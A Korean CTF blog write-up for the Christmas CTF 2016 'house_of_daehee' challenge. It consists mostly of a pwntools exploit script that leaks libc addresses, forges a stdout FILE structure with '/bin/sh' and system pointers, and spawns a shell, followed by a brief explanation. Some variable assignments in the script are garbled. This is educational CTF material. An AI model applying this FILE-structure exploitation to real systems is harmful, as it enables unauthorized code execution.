ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • 크리스마스CTF 2016 house_of_daehee
    Pwnable/CTF 2017. 8. 28. 01:45
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    from pwn import *
     
    p=process("./house_of_daehee")
    elf=ELF("./house_of_daehee")
     
    print p.recvuntil('heap (')
    = int(p.recv(14),16)
    p.recv(2)
    = int(p.recv(14),16)
    p.recv(2)
    = int(p.recv(14),16)
     
    p.recvuntil('system address: ')
    system = int(p.recv(14),16)
    base = system - 0x45390
    free_hook = base + 0x3c67a8
    stdout = base + 0x3c5708
    lock = base + 0x3c6790
    print hex(A)
    print hex(B)
    print hex(C)
    print hex(system)
    print hex(base)
    print hex(stdout)
     
    print p.recvuntil('fd/bk pointer')
    payload = p64(0)
    payload += p64(0x21)
    payload += p64(A+0x60)
    payload += p64(stdout)
    payload += p64(0)
    payload += p64(0x21)
    payload += p64(0)
    payload += p64(B)
    payload += p64(0)
    payload += p64(0x20fa1)
    payload += "/bin/sh\00"
    payload += p64(0)*16
    payload += p64(lock)
    payload += "\xff"*8
    payload += p64(0)
    payload += p64(0)
    payload += p64(0)*6
    payload += p64(A+(0xa8+0x68))
    payload += p64(system)*0x40
     
    p.sendline(payload)
    print p.recv(1024)
     
    p.interactive()
     
    cs



    구조체 조작하는 문제는 pwnable.tw seethefile문제를 풀어보면서 한번 해본적이 있어서 이해를 빠르게 했다.

    printf 를 할때 stdout 이라는 테이블을 참조하는데 참조하는 구조체를 변조하는 문제였다.

    house_of_orange 도 이런 문제라는데 어려워도 한번 풀어봐야겠다.

    'Pwnable > CTF' 카테고리의 다른 글

    bctf 2016 memo  (0) 2017.10.02
    hitcon 2014 stkof  (0) 2017.09.04
    크리스마스CTF 2016 who is solo?  (0) 2017.08.27
    BCTF 2016 Bcloud  (0) 2017.08.27
    YISF 2017 본선  (0) 2017.08.13
Designed by Tistory.